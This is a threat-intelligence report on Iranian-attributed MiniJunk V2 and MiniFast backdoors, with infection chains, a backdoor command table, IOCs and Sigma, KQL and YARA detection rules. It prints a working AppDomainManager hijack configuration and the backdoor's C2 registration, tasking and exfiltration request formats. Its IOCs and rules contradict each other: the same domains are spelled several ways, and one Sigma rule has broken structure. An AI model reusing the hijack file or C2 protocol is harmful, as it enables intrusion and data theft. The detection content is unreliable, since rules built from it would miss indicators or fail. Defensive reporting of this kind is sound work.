

MiniJunk V2 & MiniFast

Nimbus Manticore (UNC1549 / IRGC) — Threat Intelligence & Malware Analysis Report

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1. Executive Summary

MiniJunk V2 and its successor MiniFast (also tracked as MiniUpdate) are the primary offensive toolset of Nimbus Manticore — an Iranian state-sponsored threat actor affiliated with the Islamic Revolutionary Guard Corps (IRGC), also tracked by Palo Alto Networks Unit 42 as Screening Serpens and by Google as UNC1549. Between February and April 2026, the group conducted three distinct campaign waves against aviation, defense, software, oil and gas, and telecommunications organisations across the United States, Israel, the United Arab Emirates, Saudi Arabia, Australia, and additional Middle Eastern nations.

The campaigns are notable for three significant advancements in Nimbus Manticore's tradecraft: the adoption of AppDomainManager hijacking as a new execution and evasion mechanism; the introduction of AI-assisted malware development (MiniFast shows clear indicators of LLM-generated code); and the use of SEO poisoning as a malware delivery channel, the first time this technique has been observed in the group's operations.

MiniJunk V2 is an evolved version of the MiniJunk backdoor first documented in 2025, featuring enhanced obfuscation (Mixed Boolean-Arithmetic + XOR), binary inflation to evade size-limited sandboxes, and a date-based validity check to defeat early-stage analysis. MiniFast replaces MiniJunk V2 in the second and third campaign waves with a more modular architecture, a structured opcode-driven command handler, and API-style C2 communication over HTTP, impersonating a Chrome browser.

Field	Value
Malware Family	MiniJunk / MiniJunk V2
Malware Evolution	MiniFast (MiniUpdate) — successor backdoor introduced March 2026
Malware Type	Remote Access Trojan (RAT) / Backdoor — 64-bit Windows PE DLL
Threat Actor	Nimbus Manticore (aka UNC1549, Screening Serpens, Smoke Sandstorm)
Actor Affiliation	Islamic Revolutionary Guard Corps (IRGC), Iran
Campaign Period	February – April 2026 (three distinct waves)
Initial Access	Spearphishing (career lures, fake Zoom invites) SEO Poisoning (April wave)
Delivery	ZIP archives via OnlyOffice, trojanized Zoom installer, fake SQL Developer page
Execution Method	AppDomainManager Hijacking DLL Side-Loading (dual technique)
Persistence Mechanism	Scheduled task: "Synchronize OS" (MiniJunk V2) "WindowsSecurityUpdate" (MiniFast)
C2 Infrastructure	Azure-hosted subdomains (azurewebsites.net) Custom domains

Field	Value
C2 Protocol	HTTP with JSON; Chrome/Edge User-Agent impersonation
Target Sectors	Aviation, defense, software, oil & gas, telecommunications
Target Countries	United States, Israel, UAE, Saudi Arabia, Australia + additional Middle Eastern states
Evasion Techniques	Binary inflation (~12 MB), XOR obfuscation (0x8A), Mixed Boolean-Arithmetic, date-based validity check, parent process validation, ETW/AMSI disabling
AI-Assisted Development	Yes — evidence of LLM-assisted code in both loaders and MiniFast payload
TLP Classification	TLP:AMBER — Restricted distribution

2. Threat Actor Profile: Nimbus Manticore (UNC1549)

2.1 Identity and Attribution

- Primary tracking names: Nimbus Manticore (Check Point), Screening Serpens (Unit 42 / Palo Alto Networks), UNC1549 (Google Mandiant), Smoke Sandstorm
- State affiliation: Islamic Revolutionary Guard Corps (IRGC), Islamic Republic of Iran
- Also referred to as "Iranian Dream Job" due to tactical overlap with North Korea's Lazarus Group Operation Dream Job
- Active since at least 2021; significantly escalated operations in 2025–2026 in response to regional military conflict (Operation Epic Fury — US-Israeli military action against Iran, February 28, 2026)

2.2 Targeting Profile

- Primary sectors: Aviation, defense manufacturing, aerospace, telecommunications, oil and gas, software development
- Geographic focus: Israel, UAE, Saudi Arabia (historic); expanded to US and Western Europe in 2025–2026
- Confirmed 2026 victims/targets: US domestic airline (impersonated), US oil and gas firm, UAE-based entity, Middle Eastern entities, Saudi Arabia and Australia tech/aviation employees
- Six new RAT variants deployed across five countries (US, Israel, UAE + 2 additional Middle Eastern states) in the February–April 2026 campaign window

2.3 Historical Context

Nimbus Manticore first came to significant attention in late 2025 when Check Point Research documented MiniJunk targeting high-profile organisations across Western Europe and the Middle East. Prior to that, Google's Mandiant documented the group's targeting of aerospace and defense sectors across the Middle East. The February 2026 outbreak represents the group's most aggressive and geographically broad campaign to date, coinciding directly with the onset of US-Israeli military operations against Iran.

The group's rapid capability evolution — from MiniJunk to MiniJunk V2 to MiniFast in under three months — combined with evidence of AI-assisted development, suggests a well-resourced development cadre

that was able to iterate and deploy new tooling mid-conflict while maintaining high operational tempo. Check Point's Sergey Shykevich noted: "They built and deployed a brand-new backdoor mid-conflict while operations were actively underway."

3. Campaign Timeline — Three Waves (February–April 2026)

Wave	Period	Payload	Delivery	Targets
Wave 1	Feb 2026	MiniJunk V2	Spearphishing ZIP (OnlyOffice)	Saudi Arabia, Australia (aviation & software)
Wave 2	Mar 2026	MiniFast	Trojanized Zoom installer + spearphishing	US, Israel, UAE (multi-sector)
Wave 3	Apr 2026	MiniFast	SEO Poisoning — fake SQL Developer page	US, Middle East, UAE (developer-targeted)

3.1 Wave 1: Rising Tension (February 2026) — MiniJunk V2

In February 2026, amid military buildup preceding Operation Epic Fury, Nimbus Manticore launched a spearphishing campaign targeting employees in aviation and software organisations in Saudi Arabia and Australia. Victims were lured with fake career opportunities directing them to download ZIP archives hosted on OnlyOffice. The infection chain introduced AppDomain hijacking for the first time in this group's known operations.

The February variant specifically targeted a Middle Eastern technology professional (Feb 17 upload to VirusTotal). The spoofed recruitment URL used a deliberate misspelling — "recreuitment" — as an operational security measure to ensure the URL was non-functional by design, prompting targets to pivot to an attacker-controlled OnlyOffice portal.

3.2 Wave 2: Operation Epic Fury (March 2026) — MiniFast Debut

During the active US-Israeli military campaign against Iran, Nimbus Manticore continued operating with no discernible pause. This wave introduced two additional lure types: career-themed emails impersonating a US domestic airline, and a trojanized Zoom installer believed to be part of a fake meeting invitation campaign. The Zoom chain demonstrated deep research into the legitimate Zoom installer's execution flow, enabling seamless integration of the malicious payload.

Most significantly, this wave introduced the MiniFast backdoor — replacing MiniJunk V2 — and provided the first evidence of AI-assisted malware development in the group's toolkit. A US-targeted variant of MiniJunk V2 (submitted March 27) also appeared, featuring a hardcoded date validity check refusing execution before March 27, 2026 13:30:00 UTC.

3.3 Wave 3: Post-Ceasefire SEO Campaign (April 2026) — MiniFast via SEO

The April campaign marked the first use of SEO poisoning in Nimbus Manticore's history. The actor registered getsqldveloper[.]com and dozens of supporting link-farm domains to artificially elevate the site's ranking on Bing and DuckDuckGo for the search term "sql developer". Visitors were served a weaponized SQL Developer installer delivering MiniFast. Two new MiniFast variants targeting UAE and an additional Middle Eastern entity were identified, with rotated C2 infrastructure impersonating health and financial sector entities.

4. Infection Chain Analysis

4.1 AppDomainManager Hijacking — The Core Execution Technique

AppDomain hijacking is a .NET-specific code execution technique that manipulates the initialization phase of .NET applications. The attacker places a Trojanized XML .config file (named after the target binary, e.g., Setup.exe.config) in the same directory as a legitimate signed .NET executable. The config file specifies an attacker-controlled AppDomainManager class via the <appDomainManagerAssembly> and <appDomainManagerType> elements, combined with <probing privatePath=".\"/> to force local DLL loading:

```
<configuration>
  <runtime>
    <appDomainManagerAssembly value="uevmonitor, Version=1.0.0.0,
Culture=neutral"/>
    <appDomainManagerType value="MyAppDomainManager"/>
    <developmentMode developerInstallation="true"/>
    <probing privatePath=".\"/>
  </runtime>
</configuration>
```

When the legitimate signed binary starts, the .NET runtime loads the malicious DLL before any application code executes (Pre-Main() execution). Critically, this technique can disable ETW (Event Tracing for Windows) and AMSI (Antimalware Scan Interface) before the security product has a chance to hook them — a highly effective native EDR evasion.

4.2 Wave 1 / MiniJunk V2 Chain (Hiring Portal.zip)

- User downloads ZIP from OnlyOffice — contains Setup.exe (benign MS-signed), Setup.exe.config (hijack), uevmonitor.dll (first-stage loader), Interop.TaskScheduler.dll (benign)
- Setup.exe runs → .NET runtime loads uevmonitor.dll via AppDomainManager hijack
- uevmonitor.dll: displays fake "Couldn't connect to survey server" error; validates it is loaded by Setup.exe; decrypts and drops final stage to C:\Users\<USER>\AppData\Local\Packages\
- Dropped files: SoftwareLicencing.exe (legitimate binary) + MiniJunk V2 DLL
- Creates scheduled task "Synchronize OS" → SoftwareLicencing.exe side-loads MiniJunk V2 DLL → C2 beacon initiates

4.3 Wave 2 / MiniFast Chain (Zoominstall64.zip)

- User downloads Zoominstall64.zip — contains Setup.exe, Setup.exe.config, InitInstall.dll, Zoom_cm.exe, UpdateConfig.xml, Updater.dll, UpdateChecker.dll (MiniFast)
- Setup.exe runs → loads InitInstall.dll (first-stage) via AppDomainManager hijack; displays fake installation progress window; launches legitimate Zoom_cm.exe
- Loader monitors for ZoomUpdateTaskUser-<SID> scheduled task created by Zoom installer — hijacks and modifies it to point to second-stage instead
- Second stage copies files to C:\Users\<USER>\AppData\Local\Zoom\bin\update\; Update.exe renamed here
- Hijacked task triggers Update.exe → loads Updater.dll via second AppDomainManager hijack (UpdateConfig.xml) → parent-process check (must be svchost.exe)
- Updater.dll dynamically loads UpdateChecker.dll (MiniFast), calls exported CheckForUpdates() function

5. MiniJunk V2 Technical Analysis

5.1 Sample Characteristics

- Architecture: 64-bit Windows PE DLL
- Binary size: ~12 MB (deliberately inflated to bypass file-size limits on automated sandbox platforms)
- Obfuscation: Mixed Boolean-Arithmetic (MBA) for C2 domain and User-Agent reconstruction; XOR decryption with single-byte key 0x8A for C2 string decryption in March US variant
- Anti-sandbox: Hardcoded date validity check in March 2026 US variant — refuses execution before 2026-03-27 13:30:00 UTC
- Anti-sandbox: Parent process validation — silently terminates if parent is not svchost.exe
- Code signing: Valid certificates abused (SSL.com issued certs for "Gray Matter Software S.R.L." and "Kirubel Kerie Negeya")

5.2 C2 Communication

MiniJunk V2 dynamically decrypts five C2 domains at runtime using Mixed Boolean-Arithmetic obfuscation. The domains impersonate Windows service names to blend with legitimate network traffic (e.g., peerdistsvcmangers.azurewebsites.net mimics the PeerDist content delivery service). C2 communication uses HTTP with a User-Agent string reconstructed to mimic Microsoft Edge — also decrypted via MBA at runtime.

The March 2026 US-targeted variant uses Azure-hosted domains impersonating technology, cybersecurity, and AI sector companies — suggesting targeted C2 infrastructure rotation per victim profile.

5.3 Persistence and Decoy Behaviour

- Scheduled task: "Synchronize OS" — created by uevmonitor.dll first-stage loader to invoke SoftwareLicencing.exe for DLL sideloading
- Decoy: Displays "Couldn't connect to survey server" error message to make the failed legitimate application appearance convincing
- March US variant decoy: "Meeting Room" GUI window prompting for a "Meeting Room URL" — convinces target they are joining a legitimate video conference

6. MiniFast (MiniUpdate) Technical Analysis

6.1 Architecture Overview

MiniFast is a 64-bit Windows PE DLL that exposes a single export named CheckForUpdates, which serves as the main entry point. The backdoor implements an API-style architecture using JSON-formatted HTTP communication, with structured endpoints for each phase of the implant lifecycle. String obfuscation uses ROT13 encoding combined with reversed-string transformations, decrypted at runtime before any C2 contact.

6.2 C2 Protocol and Endpoints

URI	Method	Purpose
/rg	POST	Initial handshake — sends clientId as ComputerName:USERDOMAIN\Us

URI	Method	Purpose
		erName
/agent/init	POST	Victim registration — sends pcName, userName, domainName, isElevated, token
/agent/poll?token=	GET	Task retrieval — receives Base64-encoded serialised task structures
/agent/result	POST	Command result upload — Base64-encoded ResultEntry with taskId, status, output
/upload/	PUT	File exfiltration — supports chunked file uploads
/files/	GET	File download from C2 to victim host

6.3 Registration Sequence

Before entering the tasking loop, MiniFast performs host registration in two stages. First, it sends a clientId POST to /rg:

```
POST /rg
{
  "clientId": "<ComputerName>:<USERDOMAIN>\<UserName>",
  "type": "poll"
}
```

On HTTP 400 response, the server returns a socketId (session token), pollInterval, and jitterTime. On HTTP 200, the backdoor proceeds directly. It then registers the host at /agent/init:

```
POST /agent/init
{
  "token": "<socketId>",
  "pcName": "<computer_name>",
  "userName": "<user_name>",
  "domainName": "<USERDOMAIN>",
  "isElevated": true|false
}
```

6.4 Task Polling and Command Dispatch

Tasks are retrieved via GET /agent/poll?token=<socketId> as Base64-encoded serialised structures. Each decoded task contains an opcode and arguments:

```
struct TaskRecord {
  uint8_t opcode;
  uint8_t pad[7];
  custom_str arg_main;    // primary command argument
  custom_str arg_aux;     // secondary argument
  custom_str taskId;      // unique task identifier
}
```

6.5 Supported Command Set

Opcode	Capability	Description
0x01	Beacon / Register	Initial registration POST with clientId, pcName, userName, domainName, isElevated
0x02	List Directory	Enumerate files and folders at specified path
0x03	Move / Rename	Move or rename files and directories on victim host
0x04	Execute Shell Command	Execute arbitrary commands via cmd.exe /c; return captured output
0x05	Enumerate Processes	List running processes with PIDs
0x06	Delete File / Directory	Delete files or directories at specified path
0x07	Download File	Download file from C2 to local path (file UUID + destination)
0x08	Upload File	Exfiltrate local files to C2 server
0x09	Enumerate Drives	List available logical drives
0x0A	Kill Process	Terminate process by PID
0x0B	Load DLL	Dynamically load DLL and invoke specified export function
0x0C	Create Directory	Create new directory on victim host
0x0D	Create ZIP Archive	Archive files/directories for staging before exfiltration
0xB0	Request UAC Elevation	Relaunch process with elevated privileges via runas
0xB1	Install Persistence	Create/update scheduled task named WindowsSecurityUpdate
0xF0	Set Poll Interval	Update beacon polling interval (milliseconds)
0xF1	Idle Acknowledge	Acknowledge idle-time command; no behaviour change
0xF2	Set Jitter	Update jitter applied to beacon interval

6.6 AI-Assisted Development Indicators

MiniFast contains multiple characteristics strongly associated with LLM-assisted code generation:

- Excessive error handling and defensive programming around trivial API calls (e.g., GetUserName) that are unlikely to fail in normal execution contexts
- Repetitive function and method naming patterns with verbose, descriptive identifiers inconsistent with typical malware code style
- Detailed error-reporting strings and debug-style status messages embedded throughout — a pattern consistent with AI-generated code that defaults to comprehensive logging

- Modular code organisation despite overall simplicity — AI tools tend to produce structurally sound, well-separated code even for simple tasks

These indicators are significant because they suggest the group was able to accelerate development velocity mid-conflict using LLM tools, enabling the rapid introduction of MiniFast to replace MiniJunk V2 within weeks of the conflict beginning.

7. MITRE ATT&CK Mapping

ID	Technique	Tactic	Observed Behaviour
T1566.001	Phishing: Spearphishing Attachment	Initial Access	Malicious ZIP archives delivered via career-themed phishing emails and OnlyOffice lures (Hiring Portal.zip, Portable Platform.zip)
T1566.003	Phishing: Spearphishing via Service	Initial Access	Fake meeting invitation links sent via legitimate-looking VC platforms; trojanized Zoom installer distribution
T1608.006	SEO Poisoning	Resource Development	getsqldeveloper[.]com ranked high on Bing/DuckDuckGo via link network of dozens of domains; keyword stuffing for "Download SQL Developer"
T1574.001	DLL Side-Loading	Defense Evasion / Persistence	Legitimate signed binaries (Setup.exe, SoftwareLicencing.exe, Update.exe) used to load malicious DLLs (uevmonitor.dll, Unbcl.dll)
T1574.014	AppDomainManager Hijacking	Defense Evasion / Persistence	Trojanized .config files override AppDomainManager to load malicious .NET assembly before main() — disables ETW and AMSI
T1053.005	Scheduled Task/Job: Scheduled Task	Persistence	MiniJunk V2 creates "Synchronize OS"; MiniFast hijacks ZoomUpdateTaskUser- <SID> then creates "WindowsSecurityUpdate"
T1036.005	Masquerading: Match Legitimate Name	Defense Evasion	SoftwareLicencing.exe, uevmonitor.dll, and UpdateChecker.dll mimic legitimate Windows/app component names
T1027.013	Obfuscated Files: Encrypted/Encoded File	Defense Evasion	MiniJunk V2 uses XOR (single-byte key 0x8A) for

ID	Technique	Tactic	Observed Behaviour
			C2 string decryption; MiniFast uses ROT13+reversed strings
T1027.009	Obfuscated Files: Embedded Payloads	Defense Evasion	Next-stage payload embedded in encrypted form within first-stage loader; decrypted and written to disk at runtime
T1027.002	Software Packing / Binary Inflation	Defense Evasion	MiniJunk V2 binary inflated to ~12 MB to bypass file-size limits on automated sandbox analysis platforms
T1497.003	Sandbox Evasion: Time-Based Evasion	Defense Evasion	March US-targeted variant refuses execution before hardcoded date March 27, 2026 13:30:00 UTC
T1497.001	Sandbox Evasion: System Checks	Defense Evasion	Parent process validation: malware silently terminates if parent is not svchost.exe (scheduled task context); also validates hosting process name
T1562.001	Disable or Modify Tools: ETW/AMSI	Defense Evasion	AppDomainManager hijack explicitly disables ETW event tracing and AMSI scanning via .NET config directives
T1071.001	Application Layer Protocol: Web	Command & Control	HTTP-based C2 with JSON-formatted data exchange; mimics Chrome/Edge User-Agent strings to blend with legitimate traffic
T1102	Web Service (Azure)	Command & Control	C2 infrastructure hosted on Microsoft Azure (azurewebsites.net subdomains), exploiting trusted cloud infrastructure to evade domain blocklists
T1041	Exfiltration Over C2 Channel	Exfiltration	Files exfiltrated via PUT /upload/ to C2; supports chunked uploads for large files (April variant extended)
T1059.003	Windows Command Shell	Execution	cmd.exe /c used for all shell command execution (opcode 0x04); output captured and returned to

ID	Technique	Tactic	Observed Behaviour
			operator
T1134	Access Token Manipulation	Privilege Escalation	runas used for UAC elevation (opcode 0xB0); opcode 0xB1 installs persistence with elevated privileges
T1083	File and Directory Discovery	Discovery	Opcode 0x02 lists directory contents; opcode 0x09 enumerates logical drives for target reconnaissance
T1057	Process Discovery	Discovery	Opcode 0x05 enumerates running processes and PIDs for targeting lateral movement and process injection

8. Indicators of Compromise

Category	Type	Value / Description
Network / Domain	C2 Domain	business-startup[.]org — primary non-Azure C2 domain
Network / Domain	C2 Domain	peerdistsvcmangers.azurewebsites[.]net — mimics Windows PeerDist service name
Network / Domain	C2 Domain	licencemangers.azurewebsites[.]net — mimics Windows Licence Manager service
Network / Domain	C2 Domain	licencesupporting.azurewebsites[.]net
Network / Domain	C2 Domain	nanomatrix.azurewebsites[.]net
Network / Domain	C2 Domain	buisness-central.azurewebsites[.]net (note: deliberate misspelling)
Network / Domain	C2 Domain	buisness-central-transportation.azurewebsites[.]net
Network / Domain	C2 Domain	PremierHealthAdvisory[.]com — UAE-variant C2 (health sector impersonation)
Network / Domain	C2 Domain	PremierHealthAdvisory.azurewebsites[.]net
Network / Domain	C2 Domain	ramiltionsfinance[.]com — Middle East variant C2 (finance sector impersonation)
Network / Domain	C2 Domain	ramiltionsfinance.azurewebsites[.]net

Category	Type	Value / Description
		t
Network / Domain	C2 Domain	globalitconsultants.azurewebsites[.]net (and 6 rotation variants)
Network / Domain	SEO Lure	getsqldeveloper[.]com — fake SQL Developer download page (April 2026 SEO campaign)
Network / UA	User-Agent	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 (MiniFast)
Network / UA	User-Agent	Microsoft Edge-based UA string (MiniJunk V2 — reconstructed via Mixed Boolean-Arithmetic decryption)
File / Hash	SHA256 (ZIP)	8808c794c24367438f183e4be941876f1d3ecd0c8d2eb43b10d2380841d2283b — Portable Platform.zip (MiniJunk V2 US)
File / Hash	SHA256 (DLL)	b19e06da580cf91691eda066ac9ee4b09c6e5dc26c367af12660fe1f9306eec4 — Unbcl.dll (MiniJunk V2 loader, ME campaign)
File / Hash	SHA256 (DLL)	d4a7e9f107fe40c1a5d0139c6c6e25bf6bf57f61feff090bee28f476bb3cc3c2 — UpdateChecker.dll (MiniFast payload)
File / Hash	SHA256	10fd541674adadfbba99b54280f7e59732746faf2b10ce68521866f737f1e46d
File / Hash	SHA256	eee657ffdb2af8ed6412221e7d5fbf4f5742f2ac2c88f43f12db46af0697de71
File / Hash	SHA256	781605ce9d4a9869e846f6c9657d71437cb6240ab27ffbc4cd550c0e06996690
File / Hash	SHA256	2c214494fd0bad31473ca8adce78a4f50847876584571e66aadeae70827ec2dc
File / Hash	SHA256	f08b17856616d66492a24dced27f788e235f35f42fa7cd10f315000d3a2f4c03
File / Hash	SHA256	a57ffb819fe8d98ff925c5d7b239598fe302acf5a13193d7a535040a71298fdf
File / Hash	SHA256	63d0d3c4a7f71bdbca720903d6a99b832089cc093c64d2938e7e001e56c17ab4

Category	Type	Value / Description
File / Hash	SHA256	bc3b44154518c5794ce639108e7b9c5fecb0c189607a26de1aaed518d890c7ad
Host / Task	Scheduled Task	Synchronize OS — MiniJunk V2 persistence task name
Host / Task	Scheduled Task	WindowsSecurityUpdate — MiniFast persistence task name (opcode 0xB1)
Host / Task	Scheduled Task	ZoomUpdateTaskUser-<SID> — legitimate Zoom task hijacked by MiniFast loader
Host / File	DLL Name	uevmonitor.dll — MiniJunk V2 first-stage loader filename
Host / File	DLL Name	UpdateChecker.dll — MiniFast payload filename
Host / File	EXE Name	SoftwareLicencing.exe — legitimate binary abused for MiniJunk V2 DLL sideload
Host / Path	Drop Path	C:\Users\<USER>\AppData\Local\Packages\ — MiniJunk V2 stage deployment
Host / Path	Drop Path	C:\Users\<USER>\AppData\Local\Zoom\bin\update\ — MiniFast stage deployment
Host / Config	Config File	Setup.exe.config — AppDomainManager hijack configuration file
Host / Config	Config File	UpdateConfig.xml — second-stage AppDomainManager hijack config (Zoom chain)
Signing	Certificate	Gray Matter Software S.R.L. — SSL.com certificate used on MiniFast campaign files
Signing	Certificate	Kirubel Kerie Negeya — SSL.com certificate used on MiniFast campaign files

9. Detection Rules

9.1 Sigma: AppDomainManager Hijack .config Creation

```

title: MiniJunk V2 AppDomainManager Hijack via .config File
id: a1b2c3d4-e5f6-7890-abcd-minijunk0001
status: stable
description: >

```

```
Detects creation of a .config file adjacent to a signed executable that
specifies an attacker-controlled AppDomainManager class – indicator of
the AppDomainManager hijacking technique used by Nimbus Manticore.
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.defense_evasion
  - attack.t1574.014
  - attack.persistence
  - attack.t1574.001
logsource:
  category: file_event
  product: windows
detection:
  selection:
    TargetFilename|endswith: .config
    TargetFilename|contains: Setup.exe
  config_content:
    TargetFileContent|contains:
      - AppDomainManager
      - probing privatePath
  condition: selection OR config_content
falsepositives:
  - Legitimate .NET application configuration files – validate AppDomainManager
class reference
level: high
```

9.2 Sigma: Nimbus Manticore Scheduled Task Persistence

```
title: MiniJunk V2 / MiniFast Suspicious Scheduled Task Creation
id: b2c3d4e5-f6a7-8901-bcde-minijunk0002
status: stable
description: >
  Detects creation of scheduled tasks with names used by Nimbus Manticore
  malware for persistence: Synchronize OS (MiniJunk V2) and
  WindowsSecurityUpdate (MiniFast).
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.persistence
  - attack.t1053.005
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4698
    TaskName|contains:
      - Synchronize OS
      - WindowsSecurityUpdate
  condition: selection
falsepositives:
  - None expected for these specific task names
```

```
level: critical
```

9.3 Sigma: DLL Sideloaded from AppData Paths

```
title: Nimbus Manticore DLL Sideloaded Chain – SoftwareLicencing.exe / Update.exe
id: c3d4e5f6-a7b8-9012-cdef-minijunk0003
status: stable
description: >
  Detects execution of binaries commonly abused in Nimbus Manticore
  sideloading chains: SoftwareLicencing.exe and Update.exe loading
  unexpected DLLs from user-writable AppData paths.
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.defense_evasion
  - attack.t1574.001
logsource:
  category: image_load
  product: windows
detection:
  selection:
    Image|endswith:
      - \SoftwareLicencing.exe
      - \Update.exe
    ImageLoaded|contains:
      - \AppData\Local\Packages\
      - \AppData\Local\Zoom\bin\update\
    ImageLoaded|endswith:
      - .dll
  condition: selection
falsepositives:
  - Legitimate Zoom update operations – filter Update.exe spawned by Zoom installer
  with known-good DLL hash
level: high
```

9.4 Sigma: Nimbus Manticore C2 Domain DNS Queries

```
title: MiniJunk V2 C2 – Azure-Hosted Domain Patterns (Nimbus Manticore)
id: d4e5f6a7-b8c9-0123-defa-minijunk0004
status: stable
description: >
  Detects DNS queries or HTTP connections to Azure subdomains
  matching Nimbus Manticore C2 naming patterns: Windows service name
  impersonation on azurewebsites.net.
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.command_and_control
  - attack.t1102
  - attack.t1071.001
logsource:
  category: dns_query
  product: windows
```

```

detection:
  selection:
    QueryName|contains:
      - peerdistsvcmangers.azurewebsites.net
      - licencemangers.azurewebsites.net
      - licencesupporting.azurewebsites.net
      - buisness-central.azurewebsites.net
      - nanomatrix.azurewebsites.net
      - PremierHealthAdvisory.azurewebsites.net
      - ramiltonsfinance.azurewebsites.net
      - globalitconsultants.azurewebsites.net
      - getsqlddeveloper.com
      - business-startup.org
    condition: selection
  falsepositives:
    - None expected
  level: critical

```

9.5 KQL: AppDomainManager .config File Events

```

// KQL: AppDomainManager Hijack — .config File with AppDomainManager Content
// Platform: Microsoft Defender for Endpoint
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName endswith ".config"
| where FolderPath has_any ("Setup.exe", "Update.exe", "\\AppData\\")
| where FileContent has_any ("AppDomainManager", "probing privatePath")
| project Timestamp, DeviceName, InitiatingProcessFileName,
    FolderPath, FileName, SHA256
| order by Timestamp desc

```

9.6 KQL: Scheduled Task Persistence

```

// KQL: MiniJunk / MiniFast Scheduled Task Persistence
// Detects known Nimbus Manticore task names
DeviceEvents
| where Timestamp > ago(30d)
| where ActionType == "ScheduledTaskCreated"
| where AdditionalFields has_any (
    "Synchronize OS",
    "WindowsSecurityUpdate"
)
| project Timestamp, DeviceName, AccountName,
    InitiatingProcessFileName, AdditionalFields
| order by Timestamp desc

```

9.7 KQL: C2 Infrastructure Network Connections

```

// KQL: Nimbus Manticore C2 Infrastructure Network Connections
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (
    "peerdistsvcmangers.azurewebsites.net",

```



```

        "licencemanagers.azurewebsites.net",
        "licencesupporting.azurewebsites.net",
        "buisness-central.azurewebsites.net",
        "nanomatrix.azurewebsites.net",
        "PremierHealthAdvisory",
        "ramiltonsfinance",
        "business-startup.org",
        "getsqldeveloper.com"
    )
| project Timestamp, DeviceName, InitiatingProcessFileName,
        RemoteUrl, RemoteIP, RemotePort
| order by Timestamp desc

```

9.8 KQL: DLL Sideloaded from User-Writable Paths

```

// KQL: MiniJunk V2 / MiniFast DLL Sideloaded from AppData
DeviceImageLoadEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ (
    "SoftwareLicencing.exe", "Update.exe", "Setup.exe"
)
| where FolderPath has_any (
    @"AppData\Local\Packages\",
    @"AppData\Local\Zoom\bin\update\"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
        FileName, FolderPath, SHA256
| order by Timestamp desc

```

9.9 YARA: MiniJunk V2, MiniFast, and AppDomainManager Config

```

rule MiniJunk_V2_XOR_Decryption_Stub {
    meta:
        description = "Detects MiniJunk V2 XOR decryption stub (key 0x8A) used to
decrypt C2 strings"
        author      = "Lost Boys Cyber"
        date        = "2026-05-27"
        severity    = "HIGH"
        reference   = "https://unit42.paloaltonetworks.com/tracking-iran-apt-
screening-serpens/"
        mitre       = "T1027.013, T1574.001, T1574.014"
    strings:
        // XOR key 0x8A in decryption loop context
        $xor_key = { 8A [0-4] 34 8A } // XOR with 0x8A byte pattern
        // Scheduled task persistence names
        $task_sync = "Synchronize OS" wide ascii
        $task_win  = "WindowsSecurityUpdate" wide ascii
        // DLL names used in sideloading
        $dll_uev   = "uevmonitor.dll" wide ascii
        $dll_unb   = "Unbcl.dll" wide ascii
        $dll_upd   = "UpdateChecker.dll" wide ascii
        // Decoy error message
        $decoy_err = "Couldn't connect to survey server" wide ascii

```

```
// AppDomain hijack config keyword
$appdomain = "AppDomainManager" ascii
condition:
  uint16(0) == 0x5A4D and (
    $task_sync or $task_win or
    ($dll_uev and $decoy_err) or
    ($xor_key and any of ($dll_*))
  )
}

rule MiniFast_Backdoor_C2_Endpoints {
  meta:
    description = "Detects MiniFast backdoor by C2 API endpoint strings and Chrome UA"
    author      = "Lost Boys Cyber"
    date        = "2026-05-27"
    severity    = "CRITICAL"
    reference   = "https://research.checkpoint.com/2026/fast-and-furious-nimbus-manticore-operations-during-the-iranian-conflict/"
    mitre       = "T1071.001, T1102, T1053.005"
  strings:
    $sep_rg      = "/rg" ascii
    $sep_init    = "/agent/init" ascii
    $sep_poll    = "/agent/poll" ascii
    $sep_result  = "/agent/result" ascii
    $sep_upload  = "/upload/" ascii
    $sep_files   = "/files/" ascii
    $sua_chrome  = "Chrome/146.0.0.0 Safari/537.36" ascii
    $export_fn   = "CheckForUpdates" ascii
    $task_winsu  = "WindowsSecurityUpdate" wide ascii
  condition:
    uint16(0) == 0x5A4D and (
      ($export_fn and 3 of ($sep_*)) or
      ($sua_chrome and 2 of ($sep_*)) or
      ($task_winsu and $sep_poll)
    )
}

rule Nimbus_Manticore_AppDomainManager_Config {
  meta:
    description = "Detects malicious AppDomainManager hijack .config files used by Nimbus Manticore"
    author      = "Lost Boys Cyber"
    date        = "2026-05-27"
    severity    = "HIGH"
    mitre       = "T1574.014"
  strings:
    $appdomain_mgr = "AppDomainManager" ascii
    $priv_path      = "probing privatePath" ascii
    $myappdomain    = "MyAppDomainManager" ascii
    $config_suffix  = ".config" ascii
  condition:
    $appdomain_mgr and $priv_path and ($myappdomain or $config_suffix)
```

```
}

```

10. Threat Hunting Queries

10.1 Hunt: AppDomainManager .config Files in User-Writable Paths

This hunt identifies any .config file written to a user-writable directory that may contain AppDomainManager hijack directives. High-fidelity for this specific technique; baseline results should be near zero in most enterprise environments.

```
// HUNT: AppDomainManager .config Files Created in User-Writable Paths
// High-fidelity indicator of AppDomainManager hijacking preparation
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName endswith ".config"
| where FolderPath has_any (
    @"AppData\Local\", @"AppData\Roaming\", @"Temp\", @"Downloads\"
)
| where not (InitiatingProcessFileName in~ ("msiexec.exe", "MicrosoftEdge.exe"))
| project Timestamp, DeviceName, AccountName,
    FolderPath, FileName, InitiatingProcessFileName
| order by Timestamp desc
```

10.2 Hunt: Unsigned DLL Loaded from AppData by Signed Process

A broader hunt catching any DLL sideloading where a valid signed process loads an unsigned or differently-signed DLL from a user-writable AppData path. Will produce some legitimate results (e.g., browser plugins); focus on non-browser initiating processes.

```
// HUNT: Unsigned DLL Loaded from AppData by Signed Process
// Catches DLL sideloading using any signed binary, not just known names
DeviceImageLoadEvents
| where Timestamp > ago(30d)
| where not (InitiatingProcessSignatureStatus == "Valid"
    and FolderPath startswith @"C:\Windows\")
| where FolderPath has_any (
    @"AppData\Local\", @"AppData\Roaming\"
)
| where InitiatingProcessSignatureStatus == "Valid"
| where SignatureStatus != "Valid"
